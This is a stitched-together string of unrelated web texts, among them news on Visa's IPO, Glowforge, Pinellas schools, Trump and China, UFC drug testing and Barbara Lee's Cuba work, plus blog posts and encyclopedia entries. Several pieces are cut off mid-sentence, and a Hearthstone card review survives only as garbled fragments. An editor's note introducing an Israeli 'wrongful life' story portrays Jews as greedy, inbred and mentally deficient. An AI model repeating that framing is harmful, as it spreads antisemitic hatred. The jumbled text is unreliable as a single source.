Renaissance Capital (RCG) says. Amid a choppy broad market, IPOs in general this year are down 16%, Renaissance says. "It's a big deal being done in a bad market," says Renaissance's Kathy Smith. •Conjuring memories of MasterCard's IPO. Visa is larger than MasterCard (MA) and processed about 60% of total transactions in 2006, according to Visa's regulatory filing. MasterCard is second with 39%. But investors hope Visa's stock will do as well as MasterCard's. MasterCard shares have soared more than 400% from their initial price of $39 in May 2006. MasterCard shares fell $5.03 to $198.45 Monday. Visa isn't a screaming bargain like MasterCard was, says Francis Gaskins of IPOdesktop. Visa's price-earnings ratio (stock price divided by earnings per share), based on the middle of its price range, is 30 times its annualized fiscal fourth-quarter earnings, he says. That's well above MasterCard's 21 P-E now and its 11 P-E at its IPO, Gaskins says. "Is this another MasterCard? The answer is no," he says. Plus, the sheer size of Visa isn't the makings of an explosive IPO, says Jay Ritter, professor of finance at the University of Florida. There are also concerns consumers may slow their spending, and keep their plastic put away, if the economy weakens. Even so, the IPO could be a much-needed windfall for Wall Street. Visa is owned by banks that could use the cash to help make up for soured bets on mortgages. JPMorgan Chase, Bank of America and Citigroup are among the biggest owners of Visa. These sellers are selling 51% of the company, which is a high percentage to sell at one time, Ritter says, adding that companies sold just 31% of themselves in IPOs last year. The banks selling their shares will raise more than $10 billion from the IPO, Gaskins says. That capital is welcome amid a credit crunch. "This is a good time to get some of this cash," Ritter says. Conversation guidelines: USA TODAY welcomes your thoughts, stories and information related to this article. Please stay on topic and be respectful of others. Keep the conversation appropriate for interested readers across the map.01-01-2016 | Remy van Elst | Text only version of this article
Table of Contents
Recap of week 53, covering open source and sysadmin related news, articles, guides, talks, discussions and fun stuff.
Oh, and happy holidays to all of you, including a healthy new year.
Comic by Saturday Morning Breakfast Cereal
If you like this website and want to support it AND get $10 Digital Ocean credit (a VPS 2 months for free), use this link to order: https://www.digitalocean.com/?refcode=7435ae6b8212 (referral link).
Earlier editions can be found here. That page has a special RSS feed for the recaps as well.
News, tutorials and articles
Software and releases
Talks, videos, slides and podcasts
Let's Encrypt -- What launching a free CA looks like, by Roland Bracewell Shoemaker
The 32C3: gated communities video's are all up here. Expect a few highlights in the next coming weeks. (Youtube channel here)
German talk on smartcards
Linux Unplugged 125 covering SolusOS 1.0, and Red Star OS, the north korean spy-distro.
Fun and nifty things and discussionsWe finally get to tell you who’s making your Glowforge! We’ve been working together with Flex for more than a year, so we’re delighted to be able to share the news about our collaboration. Flex is an amazing partner, and we’re really happy that your Glowforge will be made by one of the very best manufacturers in the world - a Fortune Global 500 company that makes many of the coolest technology products you find in your home.
I mentioned earlier this month that I’ll have a schedule update coming shortly - that should come out before Friday next week, so stay tuned.
–dan
Glowforge Begins Shipping Pre-Release 3D Laser Printers Manufactured by Flex
SEATTLE, Wash., November 23, 2016 — Glowforge, creator of the 3D laser printer that broke crowdfunding records last fall, today announced that it is beginning to ship pre-release units. The Company also announced that Flex – the Sketch-to-Scale solutions provider that designs and builds intelligent products for a connected world - is manufacturing its product in Milpitas, CA.
Glowforge has been working with beta customers to improve and refine the product in preparation for mass production. Early units have performed thousands of prints, resulting in products that range from 3D papercut holiday cards, to architectural models, to custom hardwood-link watch bands. Their feedback has allowed the Glowforge team to make improvements ranging from faster printing to higher resolution for its more than ten thousand pre-order customers.
“Having a Glowforge at my fingertips made me look at everything just a little differently as my mind worked to figure out how I could make it myself and customize it at the same time,” said beta user Jan Martinell. “I’m barely done with one project before I’m thinking about the next.”
“Working with a Glowforge has been satisfying, confidence building, motivating, and a revelation creatively,” said beta user Ryan Milles. “I now have the ability to take an idea from a file to an actuality. This machine is a true creative tool for fresh, new ideas and unlocks imaginative creativity and expression.”
“Probably my favorite thing about the Glowforge is that it can turn an idea into actuality in less than an hour,” said beta user Nyomi Lei, “I had an idea to create a wacky present for a friend, and between my husband and I, we turned a photo into an etched picture, and designed a frame, all within an hour’s effort. That’s amazing.”
Pre-release Glowforge deliveries are headed to multiple cities around the U.S. over the coming weeks. Shipments also include a $150 pack of Proofgrade™ hardwood and other assorted materials, designed by Glowforge for optimal printing results.
Flex, the Fortune Global 500 manufacturer, was selected to mass produce Glowforge 3D laser printers based on their unparalleled reputation for quality. “Our top priority has always been delivering a safe, high quality product that works every time. After considering manufacturers large and small, we concluded that Flex’s expertise and high-standards would let us build a vastly better product than we could with any other partner,” said Dan Shapiro, Glowforge CEO and co-founder.
Mike Dennison, president of the Consumer Technologies Group at Flex said, “We are delighted to have been selected by the Glowforge team and are thrilled to provide innovative supply chain and manufacturing solutions for their iconic 3D laser printer.”
Glowforge plans to start large-scale deliveries in December, and will update their schedule forecast at the end of the month after reviewing final results from beta and pre-release customers.Why Pinellas County is the worst place in Florida to be black and go to public school Swipe or tap Click or press ↓
1 Eighty-four percent of black elementary school students in Pinellas are failing state exams.
2 Almost every other county does better.
3 Only seven of Florida’s 67 counties do worse. All are poor, rural places.
4 Pinellas has four times as many students as all of them combined.
6 Pinellas was much better off in 2007. These lines show how integrated south county elementary schools used to be.
7 Then the School Board abandoned integration.
8 The schools in south Pinellas started changing.
9 Five schools changed the most.
10 They became a little more segregated.
11 And a little more segregated.
12 Until they became extreme outliers.
14 Today, Campbell Park, Fairmount Park, Lakewood, Maximo and Melrose are the most segregated schools in Pinellas.
15 As the schools became more separate, they became less equal. Their test scores got steadily worse.
16 Today they score worse than any school in the county.
17 They score worse than almost any school in the state.
18 Ten Florida elementary schools have similar failure rates.
19 Take away privately run charter schools, and there are eight.
20 Take away schools for children with disabilities or behavior problems, and there are six.
21 Take away a nontraditional early learning center, and look what's left.
21 The five elementary schools in Pinellas County's black neighborhoods.
22 Melrose is the worst-performing school in Florida. In 2014, 160 children there took state exams.
23 154 failed reading or math.
24 Only six passed both.
Who is responsible?Backing away from a campaign pledge, President Donald Trump said Wednesday that his administration won't label China a currency manipulator in a report due this week, though he does think the U.S. dollar "is getting too strong."
Trump also said in an interview at the White House with The Wall Street Journal that he would prefer that the Federal Reserve keep interest rates relatively low.
The president also left open the possibility of re-nominating Janet Yellen for a second four-year term as Fed chair. That would mark another shift from his campaign position that he would likely replace Yellen when her term as chair ends in February next year.
In the interview, Trump said, "I do like a low-interest rate policy, I must be honest with you."
The decision not to label China a currency manipulator represents one of the sharpest reversals of Trump's brief presidency. Trump began to bash China in the 2015 speech that began his campaign, saying Beijing kept its currency artificially low to give its manufacturers an unfair advantage in global trade.
A weaker Chinese currency, relative to the dollar for example, makes Chinese goods more affordable for American consumers and U.S. goods more expensive in China.
"China is killing us," Trump had complained on the campaign trail. "They're devaluing their currency to a level that you wouldn't believe. It makes it impossible for our companies to compete."
As a candidate, Trump pledged to instruct his Treasury secretary to label China a currency manipulator immediately after he took office.
But in Wednesday's published interview with the Journal, Trump said he had changed his mind because he now believes that China hasn't been manipulating its currency for months and because labeling Beijing a manipulator might jeopardize his talks with the Chinese on confronting the threat of North Korea.
"They're not currency manipulators," Trump said.
On the dollar's overall value against major trading partners, Trump said: "I think our dollar is getting too strong, and partially that's my fault because people have confidence in me. But that's hurting — that will hurt ultimately."
"It's very, very hard to compete when you have a strong dollar and other countries are devaluing their currency," the president said.
The dollar began rising in value in mid-2014, a trend that has exerted a drag on U.S. exports.
Criticized Fed chief during campaign
Trump was highly critical of Yellen during the fall campaign, accusing her of keeping borrowing rates low to help Democrats.
But asked during the Journal interview whether Yellen would be "toast" when her term ends next year, Trump said, No. not toast."
"I like here, I respect her," Trump said, noting that the two have met since he took office for an Oval Office discussion.
Treasury Secretary Steven Mnuchin, who sat in on part of the Journal interview, said Trump was "very close" to nominating a Fed vice chairman to oversee bank supervision and filling another seat that will go to a community banker.
"We think it is very important," to have a community banker on the Fed board, Mnuchin said.
With the departure last week of Daniel Tarullo, a Fed board member, Trump now has the chance to fill three of the seven seats of the board. Two seats have been vacant for over a year because the Republican-led Senate had refused to take up the two nominees during Barack Obama's presidency.With our street designers discovering some new technical terms and with budgets to commit before the end of the financial year, spring 2015 is shaping up to be a period we’ll look back on as one of the great waves of Crap Facilities.
Bus stop bypasses seem to be a big favourite of the bollocks cargo-cult imitations of infrastructure right now, from the weirdly, needlessly difficult:
Dutch bus stop bypass : Oh, I didn't even notice! Leeds bus stop bypass: GO LEFT!! NOW GO RIGHT!!!!111!!! http://t.co/WMYa5weSks —
(@maidstoneonbike) May 22, 2015
Hmm. Now the lines are going on this angled part of the Bears Way segregated lane just looks so wrong... http://t.co/8nnEVy1YUS —
David Brennan (@magnatom) May 19, 2015
Through the plain bizarre:
Shame @NewcastleCC couldn't share the detailed plans before construction. We would have loved to give comment. http://t.co/7EelazSeL3 —
NCL Cycling Campaign (@NewCycling) May 23, 2015
To the just bafflingly, utterly unusable wastes of money:
Pancras Rd. Can somebody have a word with Camden about how to do these right asap before it's too late? @philjones79? http://t.co/rHunIXURzO —
Joe Dunckley (@steinsky) March 19, 2015
And from a quick scroll through @AlternativeDfT‘s timeline, I see junction designs that coroners have judged to be deadly — and which we know from extensive experience render the infrastructure simply unusable — are still the in thing:
"please quit your job before you kill someone" departmentfortransport.wordpress.com/2015/05/18/bra… http://t.co/OokgRTICd3 —
The Roasting House (@RoastHse) May 19, 2015
Two way cycle path (although no signage to indicate that) on main road. Side road traffic has priority. http://t.co/RFaBgmhNGa —
Rob Greenland (@TheSocBiz) May 22, 2015
How was priority decided at this new Station Lane sideroad @OxfordshireCC? Shld responsibility sit with the 3yr old? http://t.co/spNtESPq8Z —
WitneyBUG (@witneybug) May 21, 2015
Obviously robust and relevant design guidance and standards would help avoid this rubbish. And obviously short-term and unstable funding regimes with inadequate oversight have contributed to the madness. And obviously political pressure can sometimes stand in the way. But those alone can’t excuse professionals from squandering their budgets on quite obviously unusable, and quite plainly unused, bollocks.
I used to think it was sloppiness. That underpaid, underresourced and underappreciated council officers had understandably given up caring that their work is a waste of time where the product will be so shit nobody will use it.
But then you find them defending the rubbish…
Highways engineer(?) just can't think outside the DfT's restrictive standards. Refuses to accept cycleways. http://t.co/rQbEvlQjOv — The Alternative DfT (@AlternativeDfT) May 14, 2015
…even trying to argue that the users are wrong…
@KristianCyc @VoleOSpeed I'm sorry you don't think this layout is "proper" 😔 I like it! Though would prefer toucan 2permit turning movements — Jessica Ellery (@Jellery57) February 17, 2015
And you realise these street designers don’t know the process of design.
The examples above, and the designers’ responses even more so, indicate that our streets are being designed with barely any understanding of people or how people use streets. No attempt has been made to understand what users need, or the experience of using the infrastructure they’ve designed.
This field has a problem with its attitude to users. From an understandable exasperation with users’ green ink suggestions, and mixed experiences with the statutory consultation process, officers can develop a general disdain for the user. Proper designers, though, are fine with the fact that users don’t always come up with sensible solutions. But proper designers know that what matters is users know what the problem is. And the users know what the experience of using the product is. And proper designers try to understand the problem, and proper designers try to check what the experience of using their design will be.
Proper designers don’t blame the user when their products turn out to be unusable.
.@PhilipGoose The amazing crassness of it aside, if you need a leaflet to explain how to use a crossing, you've designed a shit crossing. — Bez (@beztweets) May 28, 2015
I don’t blame the individuals who are given no time, training or support to do a proper design job. This is just another failure of the system.
We need the right design guidance, and we need the right funding framework, and we need the right political will. But we also need a proper user-centric design and consultation process. Safety audits? How about usability audits?
Need an addition to the 8yo kid test of cycling schemes. The Boris test: would Boris just keep his wits about him + continue using the road? — Joe Dunckley (@steinsky) July 9, 2014
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Open source software was once relegated to hobbyists and tech-enthusiasts who enjoyed tinkering with code, but we’re entering an era of open source professionalization.
Businesses of all sizes are investing in open source projects and, to support these investments, 65% of hiring managers say they are expanding open source hiring into multiple parts of their companies—beyond just the IT and engineering aspects.
While hiring open source professionals is increasingly important, the rise of open source software is critical to the new Internet of Things and connected devices reality. You may not realize it, but the growth of Linux since the early 1990s has dictated the development of open source in the business and consumer worlds.
A Brief History of the Linux Operating System
Linus Torvalds started Linux as a hobby in 1991 with one main idea—to build a free operating system as an alternative to Windows for both commercial and personal purposes. However, Torvalds’ project wasn’t the first instance of a customizable operating system.
Unix was built by AT&T in 1969 and became the standard operating system for commercial machines. The problem was that tech-enthusiasts wanted something they could run and customize on their personal computers and Unix was only suited for high-end machines.
When Richard Stallman nearly finished his Unix clone, GNU, in 1991, the only missing piece was the kernel—the core that could drive the operating system. This is when Torvalds created the Linux kernel and it was incorporated into the GNU operating system to kickstart the age of Linux open source computing.
The Rise of Linux—From Web Servers to Transcendent Connectivity
Microsoft’s Windows operating system may dominate global computing, but if you look at website operating systems alone, the story is a bit different.
W3Techs research found that nearly 67% of all websites use the Linux operating system in comparison to Window’s 33%. Since the kernel’s creation, the ability to customize the operating system to specific business needs has proven attractive to even the largest organizations—Facebook, Google, Wikipedia, and more.
Even Microsoft has acknowledged the advantages of Linux, enabling Microsoft Azure clients to run Linux on their cloud instances. Since Microsoft made this change in 2012, Linux has come to run on 33% of Azure instances and Microsoft itself even uses Linux for some of the backend Azure networking.
Although Linux dominates the web server space, the open source operating system’s advantages transcend this limited use case to drive the era of IoT.
When Google used the Linux kernel in the Android mobile operating system in 2008, the world saw that open source software could be incorporated into consumer devices effectively. Now, Android has captured about 84% of the mobile operating system market and Linux is a fundamental driver of its success.
The success of Linux in Android has sparked its use in many consumer-facing IoT devices—smart TVs, smart thermostats, Amazon’s Kindle devices, self-driving cars, and more. Without many people even knowing, Linux has taken over the connected world of devices.
Linux’s Greatest Strength Could Be Its Greatest Weakness
Torvalds’ original vision in 1991 persists today—to offer a free, customizable operating system. The open source operating system enables a level of collaboration and customization that Windows may never match; but being open source also introduces a much larger attack surface.
The vulnerabilities of open source operating systems—and Linux in particular—must be addressed as a Linux-based IoT comes to fruition.
Stay tuned for the second blog in our Linux series in which we’ll discuss the prevalence of Linux attacks and the vulnerabilities that make them possible.For the flying boat, see Vickers Valentia
Type 264 Valentia Role Bomber Transport Manufacturer Vickers Introduction 1934 Retired 1944 Primary user Royal Air Force Developed from Vickers Victoria
The Vickers Valentia (company designation Type 264) was a British biplane cargo aircraft built by Vickers for the Royal Air Force. The majority built were conversions of the earlier Vickers Victoria.
Design and development [ edit ]
While the Napier Lion-powered Victoria served successfully with the RAF as a bomber transport, by 1932, the Lion engine was becoming obsolete and it was clear that it could use more power. It was therefore decided to re-engine the aircraft with more powerful Bristol Pegasus engines.[1] It was decided to carry out a two-stage upgrade, with the first, designated the Victoria Mk VI or Configuration I, having a limited maximum weight. This was followed by Configuration 2 which was capable of taking full advantage of the greater power of the Pegasus engine by virtue of a strengthened airframe featuring a strengthened wing, strut rather than wire-braced landing gear, wheel brakes and a tailwheel in place of a skid. This became the Vickers Valentia Mk I[1] which flew for the first time in 1934.
Orders were placed for the 28 new build Valentias to Specification 30/34, with a further 54 being converted from Victorias (Type 278 within the company), with production continuing until 1936.[1]
In 1938 a version with Pegasus IIM3 engines (which offered improved 'hot and high' performance) was supplied in 1938 for service with one flight of No. 31 Squadron then based in Lahore.
Operational history [ edit ]
The Valentia first entered service with No. 70 Squadron RAF at Hinaidi, Iraq in 1934,[2] equipping British forces in India, Persia and Iraq.
Like the preceding Vernons and Victorias, the Valentias were extensively used for transport operations in the Middle East, and when necessary used for bombing operations with bomb racks under the wings. Valentias were also experimentally fitted with loudspeakers used to address people being overflown (in this case potentially rebellious tribes during air policing duties).[1] The Valentia was also used for experiments with aerial refuelling by Alan Cobham.[1]
Valentias were used for night bombing operations over the Western Desert in 1940[1] and remained in service with the Iraq and Persia Communications Flight until 1944.[1] The South African Air Force pressed a Valentia into service as a bomber in the East African Campaign in 1940–41.[3]
The Valentia was replaced as a transport in RAF service by the Bristol Bombay.[4]
Variants [ edit ]
Valentia Mk I : Military transport aircraft for the RAF.
Operators [ edit ]
Specifications (Valentia Mk. I) [ edit ]
Data from Aircraft of the Royal Air Force[2]
General characteristics
Crew: 2
2 Capacity: 22 troops
22 troops Length: 59 ft 6 in (18.14 m)
59 ft 6 in (18.14 m) Wingspan: 87 ft 4 in (26.63 m)
87 ft 4 in (26.63 m) Height: 17 ft 9 in (5.41 m)
17 ft 9 in (5.41 m) Wing area: 2,178 ft² (202.4 m²)
2,178 ft² (202.4 m²) Empty weight: 10,944 lb (4,975 kg)
10,944 lb (4,975 kg) Loaded weight: 19,500 lb (8,864 kg)
19,500 lb (8,864 kg) Powerplant: 2 × Bristol Pegasus II L3 or M3 radial, 650 hp (485 kW) each
Performance
Armament
Bombs: Could be fitted with underwing racks for 2,200 lb of bombs.
See also [ edit ]
Related listsDana White recently claimed that Ronda Rousey isn’t retired, and that “USADA is still popping up at her house testing her, but she refuses to retire.” USADA maintains a database of all tests conducted, but according to this database, Rousey hasn’t been tested at all in 2017.
Rousey was last tested in the fourth quarter of 2016 according to the list. Her last fight was a losing effort to Amanda Nunes at UFC 207 on December 30th, 2016.
Since it’s theoretically possible that Rousey has been in the registered testing pool (RTP) this entire time, but hasn’t been tested, I decided to try to find out exactly what was happening. During that process, I discovered something disconcerting:
There is a loophole in the UFC’s anti-doping policy that allows them to secretly exempt athletes from testing if they so choose.
Exemptions and secrecy
Under the WADA code, athletes returning from retirement have to undergo testing for six months. WADA may give a waiver after consulting the relevant national anti-doping organization and sport federation. Under the UFC’s anti-doping policy, the UFC gives the waiver. I wrote about that here.
That wouldn’t be a big deal if we knew which athletes had retired. If an athlete suspiciously retired and un-retired, skipping the testing pool whenever they didn’t have a fight, we would notice, right? Wrong.
It turns out the UFC and USADA can, and do, hide that information. There is no way for anyone to see who is and is not part of the registered testing pool at any time. USADA cannot or will not confirm which athletes are part of the pool, and the UFC, thus far, haven’t even responded to questions about it.
We have a situation where we can’t find out who is and isn’t in the testing pool, and the UFC president appears to be making incorrect statements about who is and isn’t being tested to the media.
This means, in theory, even if an athlete publicly says they are retired, they might not be. And even if Dana White says they aren’t retired, they might officially be retired as far as USADA is concerned. We would have no way of verifying that information, and Dana has a habit of being less than truthful when it comes to public statements.
Since the names of the athletes in the pool are a secret, and the UFC has the final decision on granting exemptions to retired athletes, there’s nothing stopping the UFC from letting a chosen athlete “retire” to avoid testing, lying to the press about them being retired, then allowing them to “un-retire” just before a fight to avoid months of testing. Their opponent, the media, and the public would have no way of knowing. That’s not to say this is happening, but the system, as it operates now, could allow it to happen.
Have athletes been exempted before?
Normally an athlete has to be in the testing pool for six months if they “un-retire.” In the past this clause was four months. It was part of this four-month testing period that Brock Lesnar skipped when he signed to fight at UFC 200. Instead of being tested for the 16 weeks retired athletes were supposed to under the anti-doping policy, he was tested for around five weeks.
It subsequently emerged that Brock Lesnar provided an out-of-competition sample prior to UFC 200 which was positive for the banned substance clomiphene. The result of the test wasn’t returned until after his UFC 200 bout.
The decision to exempt Lesnar was controversial at the time, even before he tested positive for a banned substance. It’s possible other athletes have had similar exemptions without the public ever becoming aware of it.
According to data provided by @dimspace, there are around 10 athletes (out of around 600), who haven’t been tested at all in 2017, but may have been under contract for at least the past year. USADA’s athlete test history page confirms these athletes haven’t been tested in 2017.
The athletes seem to still be under UFC contract—at least there have been no announcements that they have been released, and they are still on the UFC’s roster page—but they haven’t been tested in 2017.
It’s hard to be sure if they’re still in the registered testing pool, because USADA refuses to say who is actually in the pool. I sent a request to USADA asking which of these athletes are currently in the registered testing pool, but USADA is unable or unwilling to divulge that information.
Why is this an issue?
If you’re a fighter who accepts a bout against someone who hasn’t been tested in a year, it’s important to know if your opponent thought they could be tested at any time, or if they knew for a fact they wouldn’t be tested.
USADA CEO Travis Tygart said in a recent interview that even a short period in which a fighter knew they wouldn’t be tested would let athletes cheat. Here’s what Mr. Tygart said about having a two or three week period of no testing, “That’s not an effective program. Someone can go and cheat and we would never know about it.”
If knowing you wouldn’t be tested for three weeks makes the program ineffective, what would knowing you can’t be tested for three months accomplish? What about a year? This is why it’s important for athletes to know if their opponent just got a pass. Right now, they don’t. In fact, USADA actively refuses to disclose the information that would let them know.
The USADA site has this to say about transparency, “Instead of wondering if their competitors or role models are being tested, people can track testing data and see how USADA is working to uphold clean sport.”
There is an argument to be made that USADA shouldn’t be publishing information that could “out” a retired athlete, but the anti-doping organization’s site rightly notes that knowing when your opponent was tested is an important part of a transparent anti-doping program. That’s why the athlete test history exists. Does an athlete’s right to know their opponent had a time period when they were “retired” and could dope without being tested outweigh the right of an athlete to retire without telling anyone? That’s a judgement call.
The UFC doesn’t have a great history when it comes to properly handling fighter exemptions. Recall that ahead of UFC 152, Vitor Belfort was given a therapeutic use exemption for testosterone by the UFC. When tested, Belfort’s free testosterone came back high. Belfort’s opponent was never informed, and the information only came out thanks to an email being circulated to people it shouldn’t have been sent to. Belfort was allowed to compete.
The UFC around that time said they used the Nevada athletic commission’s standards for TUEs. Belfort’s total testosterone came back at over 1,000 ng/dL. NSAC executive director Keith Kizer stated that under Nevada rules, testosterone replacement therapy should be 600-700ng/dL at best.
By hiring USADA to implement their anti-doping policy, the UFC helped create a firewall between themselves and decisions around things like TUEs, which the UFC has been criticized over in the past. The truth is, there probably isn’t a better option than USADA out there to run an independent drug testing program, but that’s not to say it couldn’t be improved.
When the UFC has had the ability to secretly give fighters passes and cover up results in the past, the evidence suggests they have, though the UFC denies there was a “cover-up”. You can argue about whether or not that would happen today, but the optics of the situation means transparency should be favored over opacity to avoid even the impression of favoritism or malfeasance.
USADA could make this situation more transparent by listing which fighters are part of the registered testing pool and updating that list each week. They currently have a list of which fighters have been tested which they update each week, so this shouldn’t be a difficult task.
Instead, USADA refuses to confirm which fighters are part of the registered testing pool at any point. Whether deliberate or not, this opacity means fighters can never be sure if their opponent has actually been part of the registered testing pool prior to them actually being tested.
The UFC has been asked for comment on this story and we will update the post with their response.This article is about Elizabeth Short and her murder. For other uses, see Black Dahlia (disambiguation)
Elizabeth Short (July 29, 1924 – January 14 or 15, 1947), known posthumously as the "Black Dahlia," was an American woman who was found murdered in the Leimert Park neighborhood of Los Angeles, California. Her case became highly publicized due to the graphic nature of the crime, which included her corpse having been mutilated and bisected at the waist.
A native of Boston, Short spent her early life in Medford, Massachusetts and Florida before relocating to California, where her father lived. It is commonly held that Short was an aspiring actress, though she had no known acting credits or jobs during her time in Los Angeles. She would acquire the nickname of the Black Dahlia posthumously (after the owner of a drugstore in Long Beach, California told reporters |
this idea and sprints in the other direction: your opponent will have no choices because they can do everything. There a potential upside inin that -- like-- he dodges most of the popular removal with his four Health. That said, with aout mana efficiency is no longer a concern for your opponent.We have higher expectations for our rare Legendary picks than a vanilla 8/8 for nine.In Arena, most players will favour minions and have a lower concentration of super powerful spells., therefore, will have a harder time stealing you a card. Even if your opponent does have a collection of great spells, an 0/4 is far from the hardest minion to deal with.Man stabbed to death with stiletto heel in Museum District
Charges have been filed against a suspect arrested in the fatal stabbing of a man at 1701 Hermann #18B about 3:50 a.m. on Sunday, June 9 2013. The suspect, Ana Lilia Trujillo (H/f, DOB: 2-25-69), is charged with murder in the 338th State District Court. less Charges have been filed against a suspect arrested in the fatal stabbing of a man at 1701 Hermann #18B about 3:50 a.m. on Sunday, June 9 2013. The suspect, Ana Lilia Trujillo (H/f, DOB: 2-25-69), is charged... more Image 1 of / 1 Caption Close Man stabbed to death with stiletto heel in Museum District 1 / 1 Back to Gallery
A woman allegedly stabbed a 59-year-old man to death with a stiletto heel early Sunday morning at a Museum District condominium high-rise.
At about 4 a.m. Houston police responded to an assault in progress call at Parklane on 1701 Hermann Drive, said HPD spokesman Kese Smith.
Ana Trujillo, a 44-year-old woman, opened the door for police, who found the man's body lying on the floor, Smith said.
Trujillo, whom police described as the man's guest, now faces murder charges. The victim's identity was not released.
Brian Wice, a criminal defense attorney and legal analyst, said he was shocked to learn that a man his age had died in the same luxury apartment unit he used to rent.
"It had a beautiful view and wonderful security," he said. "When I lived there, it was a lot of doctors, a lot of lawyers. Back in the day, at least one criminal district court judge and a sportscaster. It was a great place to live."
A University of Houston police car was also at the scene Sunday morning, but police would not elaborate on the reason.ed note–I post this not in the interests of starting a debate about abortion, but rather because there are several items in this story underscoring the nature of what we are up against.
First and foremost is the mindset of a people who are so greedy for gain that they will actually BRING SUIT for having NOT BEEN MURDERED in the womb. This in itself is pure madness and is the same kind of mindset that would be so audacious as to try and make a profit off of free air.
Next is the physiological problems inherent in the Jewish community that contribute to geo-political issues such as war, economic exploitation, etc. As the article points out, birth defects within the Jewish community are substantially higher per capita than they are in gentile societies, for the simple reason that Jews represent a statistically small percentage of the world’s population and then only marry and breed amongst themselves. In effect then what we have is a system of inbreeding, or as the article describes it, consanguineous reproduction.
And again, it begins with the religion itself, which dictates that the Jews are a master race and a ‘holy, chosen people’ who must ‘dwell alone’ and not intermingle or intermarry amongst non-Jews. The inherent eliteism and racism of this mindset has produced a group of people who are not just mad by virtue of the ideas that prevail in their religion/culture, but as well a situation that is made worse by the physical/mental deficiencies resulting from inbreeding.
lifesitenews.com
“Wrongful life” lawsuits, in which doctors are held liable for not discovering fetal abnormalities that might have prompted parents to abort their child, have become so common in Israel that the government has set up a committee to investigate the issue, New Scientist reports.
“I find it very difficult to understand how parents can go on the witness stand and tell their children ‘it would have been better for you not to have been born,” said Professor Avraham Steinberg
According to the magazine, wrongful life claims are more prevalent in Israel where a higher rate of genetic disorders caused by consanguineous (connected by kinship) marriages has fueled a “pro-genetic testing culture.” The county has seen an estimated 600 wrongful cases since the first in 1987.
While similar lawsuits in the United States and Canada are often brought by the parents of disabled children, it is common in Israel for the children themselves to demand compensation for the fact that they were not killed in-utero.
Asaf Posner, a medical malpractice lawyer who sits on the government’s Matza committee which is charged with investigating the issue, has obtained judgments averaging around 4.5 million shekels (about $1 million U.S. Dollars) for clients with spina bifida and cystic fibrosis.
Posner defends the lawsuits, arguing that the medical profession would “become corrupt” without criticism.
Rabbi Avraham Steinberg, a medical ethicist at Hebrew University-Hadassah Medical School in Jerusalem, disagrees. Steinberg has criticized the lawsuits as psychologically damaging.
“I find it very difficult to understand how parents can go on the witness stand and tell their children ‘it would have been better for you not to have been born,” said Steinberg, who also sits on the Matza committee.
Steinberg claims that some malpractice lawyers are travelling to small communities around the country where inbreeding is more common in search of potential clients.
He also noted that the prevalence of such lawsuits has caused doctors to overstate the likelihood that an unborn child may have a disability, possibly driving an increase in the number of abortions.
“More testing means more false positives – and that means more abortions, because geneticists don’t always know if results indicating the possibility of chromosomal abnormalities are meaningful. I’d like to see a study of aborted fetuses to see how many are diseased,” he said.Wow oh wow I can't believe how much I lucked out this time round with Reddit Secret Santa. It's like my Santa read my mind, as I forgot to mention in my description that I was wanting Exploding Kittens. Now here I am, with not 1, but two packs of Exploding Kittens cards AND Cyanide and Happiness's card game Joking Hazard.
I signed up to this exchange on the last day after mulling it over for ages, as I've done 3 exchanges and only received one gift prior to this exchange. Santa, you've returned my faith in Reddit's Humanity. I can't express how happy I was opening the parcel to find such a gloriously wonderful gift(s) inside.
Thank you, thank you, thank you. I can't wait for the next games night with my friends!How Barbara Lee’s 30-year Cuba campaign paid off
East Bay Congresswoman Barbara Lee has been working toward normalization with Cuba since 1978. She is photographed at the Federal Building in Oakland, Calif. on Thursday, December 18, 2014. East Bay Congresswoman Barbara Lee has been working toward normalization with Cuba since 1978. She is photographed at the Federal Building in Oakland, Calif. on Thursday, December 18, 2014. Photo: Tim Hussin, Special To The Chronicle Photo: Tim Hussin, Special To The Chronicle Image 1 of / 4 Caption Close How Barbara Lee’s 30-year Cuba campaign paid off 1 / 4 Back to Gallery
The April 9, 2009, memo has a simple title: “Reflections by Comrade Fidel.”
In it, the Cuban leader documents a meeting at his Havana home with East Bay Rep. Barbara Lee, a woman he lauded for great “political courage” as the then-leader of the Congressional Black Caucus, and for more than two decades an activist for normalizing relations with the island nation.
Lee and her delegation met that day for five hours with President Raul Castro in the first face-to-face session between U.S. lawmakers and Cuban leaders in at least five years. Both brothers, Lee recalled, expressed hope that the newly elected President Obama would change history and restore ties between the two countries.
Last week, as she touched down on U.S. soil from another trip to Cuba — her 21st — the Oakland Democrat got the call: Obama was announcing a thawing of relations, an exchange of prisoners and the freeing of American Alan Gross, whom Lee had visited several times during his five-year Cuban captivity.
“I took it as a mission to get him out,” she said of Gross, who publicly thanked Lee as one of the legislators who made his freedom possible. “It was important to move all the obstacles to normalize — and this was an obstacle.”
Many had a role in Gross’ freedom, she added, but, “I knew what I had to do. And we never lost hope.”
Obama’s move represented something of a vindication of Lee’s behind-the-scenes work in Cuba dating back to 1977, when she made her first trip for the National Conference of Black Lawyers to talk to Cubans about their country’s judicial system and race relations.
A connection is made
She developed a connection to the island’s Afro-Hispanic culture and the people whose economic struggles were intensified by the U.S. trade embargo, she said. The trips and her introductions to many average Afro-Cubans — “who looked just like me, who acted just like me” — cemented her belief that the embargo was an unjust burden on the people of the island nation.
“I wanted other people to see... so they could make their own mind up,’’ she said.
As an aide to then-Rep. Ron Dellums, Lee facilitated a landmark 1978 visit by prominent African Americans, including Bay Area journalist Belva Davis, who interviewed Fidel Castro.
The remarkable 2009 memo from “Comrade Fidel” — which includes a detailed account of his discussions with American lawmakers, and his thoughts regarding geopolitical changes with the election of Obama — also indicated Castro’s abiding admiration for Lee. He held her in esteem, he said, both for her attention to Cuba and for casting “the sole vote against Bush’s genocidal war in Iraq” in the House.
“It was unbeatable proof of political courage,” he wrote in the memo, which Lee supplied to The Chronicle. “For that, she deserves every honor.”
Lee also earned Castro’s gratitude for her part in returning 6-year-old Elian Gonzalez to Cuba in 2000.
The boy was found in an inner tube off the coast of Florida after his mother died in an attempt to flee to the United States. Cuban American lawmakers and conservatives pushed for Elian to stay in Miami, while Castro insisted he be returned.
“We met with Fidel five times, and we talked about Elian’s case,” Lee recalled last week. “He said, 'You need to know the family.’”
Lee’s meeting with Elian’s father, Juan Miguel Gonzalez Quintana, made the front page of the New York Times. She also met with the boy’s grandmothers. “I told them, 'We’ve got to get you to Capitol Hill,’” she said.
Elian returns home
She accompanied the women in meetings with members of Congress to make the family’s case. Days later, U.S. agents took the boy from Miami and delivered him to his father for a flight home to Havana, where he has lived ever since.
